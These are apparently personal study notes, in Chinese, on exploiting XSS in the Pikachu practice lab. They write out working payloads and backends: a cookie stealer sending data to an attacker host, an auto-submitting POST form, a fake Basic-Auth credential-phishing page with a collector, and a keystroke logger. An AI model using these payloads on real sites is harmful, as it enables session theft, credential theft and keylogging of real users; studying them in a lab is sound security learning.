前言

此为XSS漏洞学习笔记,记录XSS的学习过程,方便今后复习使用,有写的不好的地方请见谅,大佬勿喷。

GET型XSS利用

攻击流程

攻击实现

以pikachu网站的反射型XSS(GET)为例

攻击者发现在192.168.233.1的pikachu站点里发现xss反射型漏洞,且为GET型,构造获取cookie的语句,把用户访问该站点时的cookie返回给攻击者网站上搭建的pkxss后台

//攻击者后台获取cookie的php文件
<?php
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect(); //这个是获取cookie的api页面 if(isset($_GET['cookie'])){
$time=date('Y-m-d g:i:s');
$ipaddress=getenv ('REMOTE_ADDR');
$cookie=$_GET['cookie'];
$referer=$_SERVER['HTTP_REFERER'];
$useragent=$_SERVER['HTTP_USER_AGENT'];
$query="insert cookies(time,ipaddress,cookie,referer,useragent)
values('$time','$ipaddress','$cookie','$referer','$useragent')";
$result=mysqli_query($link, $query);
}
header("Location:http://192.168.233.1/pikachu/index.php");//重定向到一个可信的网站,此处直接重定向到存在XSS漏洞的网站的首页 ?>

构造语句为

<script>document.location = 'http://192.168.233.151/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

插入到存在反射型XSS的文本框里并提交,成功返回到pikachu网站首页

查看攻击者获取cookie的网站,成功获取到攻击者自己的cookie

接下来,攻击者便可以把存在获取cookie的url发给用户

http://192.168.233.1/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2F192.168.233.151%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E&submit=submit

用户访问该url成功跳转到pikachu网站的首页

此时攻击者后台成功获取到用户在该网站的cookie值

最后,攻击者便可以使用该用户的身份登录该网站造成破坏。

POST型XSS利用

攻击流程

攻击实现

攻击者发现存在POST反射型XSS漏洞的网站,伪造表单自动提交页面,发给正在浏览该网站的登录用户,骗其打开,便可获取用户cookie值

<!-- 攻击者构造的表单自动提交页面 -->
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.233.1/pikachu/vul/xss/xsspost/xss_reflected_post.php">
<input id="xssr_in" type="text" name="message" value=
"<script>
document.location = 'http://192.168.233.151/pkxss/xcookie/cookie.php?cookie=' + document.cookie;
</script>"
/>
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

此时用户登录页面,并在页面里浏览

此时攻击者把构造好的表单自动提交页面post.html发送给用户,骗其打开

用户打开攻击者发来的url并成功跳转到pikachu首页,此时攻击者获取到了用户的cookie值,并可利用该用户身份登录该网站

此时攻击者便获取到了用户的账号:admin和密码:123456,可以使用该用户的身份登录该网站造成破坏。

钓鱼

此案例使用pikachu的存储型XSS

攻击者构建钓鱼网站,骗取用户的账号密码

//钓鱼网页
<?php
error_reporting(0);
// var_dump($_SERVER);
if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) {
//发送认证框,并给出迷惑性的info
header('Content-type:text/html;charset=utf-8');
header("WWW-Authenticate: Basic realm='认证'");
header('HTTP/1.0 401 Unauthorized');
echo 'Authorization Required.';
exit;
} else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))){
//将结果发送给搜集信息的后台,请将这里的IP地址修改为管理后台的IP
header("Location: http://192.168.233.151/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USER]}
&password={$_SERVER[PHP_AUTH_PW]}");
} ?>

攻击者搭建获取钓鱼信息的后台

<?php
error_reporting(0);
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect(); if(!empty($_GET['username']) && !empty($_GET['password'])){ $username=$_GET['username'];
$password=$_GET['password'];
$referer="";
$referer.=$_SERVER['HTTP_REFERER'];
$time=date('Y-m-d g:i:s');
$query="insert fish(time,username,password,referer)
values('$time','$username','$password','$referer')";
$result=mysqli_query($link, $query);
} ?>

攻击者构造语句,插入存储型XSS中

<script src="http://192.168.233.151/pkxss/xfish/fish.php"></script>

于是,每次刷新该页面都会跳出需要账号密码的输入框

当用户浏览该页面时也会跳出请求账号和密码的提示框,如果用户不注意并成功输入账号和密码后,攻击者后台便可获取到用户的账号和密码

最后后台不知道出啥问题了,一直获取不到数据,但钓鱼思路就是这样

补充:想要获取到最后钓鱼结果的可以参考下面这篇文章:

Pikachu漏洞靶场系列之XSS钓鱼攻击后续 - 云+社区 - 腾讯云 (tencent.com)

键盘记录

此案例依旧使用pikachu网站的存储型xss

攻击者编写获取键盘记录的js代码,并构造语句插入存在xss的文本框,当用户浏览该网页时,在键盘上输入的值都会被记录到攻击者的后台

/**
* Created by runner on 2018/7/8.
* 获取键盘记录的js代码
*/ function createAjax(){
var request=false;
if(window.XMLHttpRequest){
request=new XMLHttpRequest();
if(request.overrideMimeType){
request.overrideMimeType("text/xml");
} }else if(window.ActiveXObject){ var versions=['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i<versions.length; i++){
try{
request=new ActiveXObject(versions[i]);
if(request){
return request;
}
}catch(e){
request=false;
}
}
}
return request;
} var ajax=null;
var xl="datax="; function onkeypress() {
var realkey = String.fromCharCode(event.keyCode);
xl+=realkey;
show();
} document.onkeypress = onkeypress; function show() {
ajax = createAjax();
ajax.onreadystatechange = function () {
if (ajax.readyState == 4) {
if (ajax.status == 200) {
var data = ajax.responseText;
} else {
alert("页面请求失败");
}
}
} var postdate = xl;
ajax.open("POST", "http://192.168.233.151/pkxss/rkeypress/rkserver.php",true);
ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
ajax.setRequestHeader("Content-length", postdate.length);
ajax.setRequestHeader("Connection", "close");
ajax.send(postdate);
}

插入文本框的语句

<script src="http://192.168.233.151/pkxss/rkeypress/rk.js"></script>

因为为了安全考虑,所有的浏览器都约定了“同源策略”,同源策略规定,两个不同域名之间不能使用JS进行相互操作。所以攻击者获取键盘记录的后台需要开启跨域访问

如果想要跨域操作,则需要管理员进行特殊的配置。
比如通过:header(“Access-Control-Allow-Origin:x.com”)指定。

<?php
/**
* Created by runner.han
* There is nothing new under the sun
*/ include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect(); //设置允许被跨域访问
header("Access-Control-Allow-Origin:*"); $data = $_POST['datax'];
$query = "insert keypress(data) values('$data')";
$result=mysqli_query($link,$query); ?>

攻击者插入语句后成功在后台获取到用户的键盘输入记录

XSS漏洞利用案例实验的更多相关文章

  1. xss漏洞利用

    简述 跨站脚本攻击(也称为XSS)指利用网站漏洞从用户那里恶意盗取信息.攻击者通过在链接中插入恶意代码,就能够盗取用户信息.攻击者通常会在有漏洞的程序中插入 JavaScript.VBScript. ...

  2. Dreammail V4.6.9.2 XSS漏洞利用

    转载请注明:@小五义http://www.cnblogs.com/xiaowuyi 针对版本: DreamMail 4.6.9.2测试环境:windows xp sp3 python版本:2.6 测试 ...

  3. CORS漏洞利用检测和利用方式

    CORS全称Cross-Origin Resource Sharing, 跨域资源共享,是HTML5的一个新特性,已被所有浏览器支持,不同于古老的jsonp只能get请求. 检测方式: 1.curl访 ...

  4. [前端web安全]XSS漏洞基础入门

    前言 XSS漏洞 Xss(Cross-Site Scripting)意为跨站脚本攻击,为了不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS ...

  5. Pikachu漏洞练习平台实验——XSS(二)

    概述 简介 XSS是一种发生在Web前端的漏洞,所以其危害的对象也主要是前端用户 XSS漏洞可以用来进行钓鱼攻击.前端js挖矿.盗取用户cookie,甚至对主机进行远程控制 攻击流程 假设存在漏洞的是 ...

  6. 利用窗口引用漏洞和XSS漏洞实现浏览器劫持

    ==Ph4nt0m Security Team==                        Issue 0x03, Phile #0x05 of 0x07 |=----------------- ...

  7. 小白日记48:kali渗透测试之Web渗透-XSS(二)-漏洞利用-键盘记录器,xsser

    XSS 原则上:只要XSS漏洞存在,可以编写任何功能的js脚本 [反射型漏洞利用] 键盘记录器:被记录下的数据会发送到攻击者指定的URL地址上 服务器:kali 客户端 启动apache2服务:ser ...

  8. 第六天实验详解——dedecms通过xss漏洞写马

    第六天实验详解 **XSS跨站攻击的分类** XSS漏洞类型主要分为持久型和非持久型两种: 1. 非持久型XSS漏洞一般存在于URL参数中,需要访问黑客构造好的特定URL才能触发漏洞. 2. 持久型X ...

  9. XSSer:自动化XSS漏洞检测及利用工具

    转载自FreeBuf.COM XSS是一种非常常见的漏洞类型,它的影响非常的广泛并且很容易的就能被检测到. 攻击者可以在未经验证的情况下,将不受信任的JavaScript片段插入到你的应用程序中,然后 ...

  10. XSS漏洞的渗透利用另类玩法

    XSS漏洞的渗透利用另类玩法 2017-08-08 18:20程序设计/微软/手机 作者:色豹 i春秋社区 今天就来讲一下大家都熟悉的 xss漏洞的渗透利用.相信大家对xss已经很熟悉了,但是很多安全 ...

随机推荐

  1. P3998 [SHOI2013]发微博 方法记录

    原题链接 [SHOI2013]发微博 题目描述 刚开通的 SH 微博共有 \(n\) 个用户(\(1\sim n\) 标号),在这短短一个月的时间内,用户们活动频繁,共有 \(m\) 条按时间顺序的记 ...

  2. 畸变矫正、透视变换加速(OpenCV C++)

    前两周,同事和我说检测时间超时,其中对图像做畸变矫正和投影变换就要花费25ms(3000×3000的图).而此时我们已经用上了文章opencv图像畸变矫正加速.透视变换加速方法总结中的方法.突然我想到 ...

  3. XAF新手入门 - 前言

    很多小伙伴在第一次接触XAF时,会被它的丰富功能及开箱即用的特点所吸引,即使在不了解XAF的情况下,也能够依葫芦画瓢创建一个功能丰富的应用,但当应用到实际项目中时,你会发现与之前的愿景差距很大,很多都 ...

  4. scrapy传递 item时的 数据不匹配 和一些注意事项

    item 在传递数据时需要拷贝内存地址 yield scrapy.Request( url=title_url, callback=self.parse_detail, # 用深拷贝的方式 复制子对象 ...

  5. 抓包分析 TCP 握手和挥手

    前言 首先需要明确的是 TCP 是一个可靠传输协议,它的所有特点最终都是为了这个可靠传输服务.在网上看到过很多文章讲 TCP 连接的三次握手和断开连接的四次挥手,但是都太过于理论,看完感觉总是似懂非懂 ...

  6. TASK 总结

    信相连知识 1.python操作EXCEL 库:xlwings. 基本操作:打开.读写.关闭. 2.python操作问题库 库:JIRA 基本操作:提交问题 3.网页信息在网址不变时的获取 库:req ...

  7. 通过Jenkins,执行远程服务器的自动化脚本

    通过Jenkins,可自动执行写好的应用部署.自动化测试等的脚本工具,实现测试环境的应用自动定时更新.自动执行测试等. 1. 安装SSH插件 进入[系统管理]-[插件管理]-[可用插件],搜索Publ ...

  8. el-scrollbar 监测滚动条

    export function processScroll (_this) {   let _self = _this   let scrollbarEl = _this.$parent.wrap   ...

  9. 从 洛谷P5309 Ynoi2011 初始化 看卡常

    一般情况下,程序运行消耗时间主要与时间复杂度有关,超时与否取决于算法是否正确. 但对于某些题目,时间复杂度正确的程序也无法通过,这时我们就需要卡常数,即通过优化一些操作的常数因子减少时间消耗. 比如这 ...

  10. Go语言核心36讲34

    我们在上篇文章中讲到了sync.WaitGroup类型:一个可以帮我们实现一对多goroutine协作流程的同步工具. 在使用WaitGroup值的时候,我们最好用"先统一Add,再并发Do ...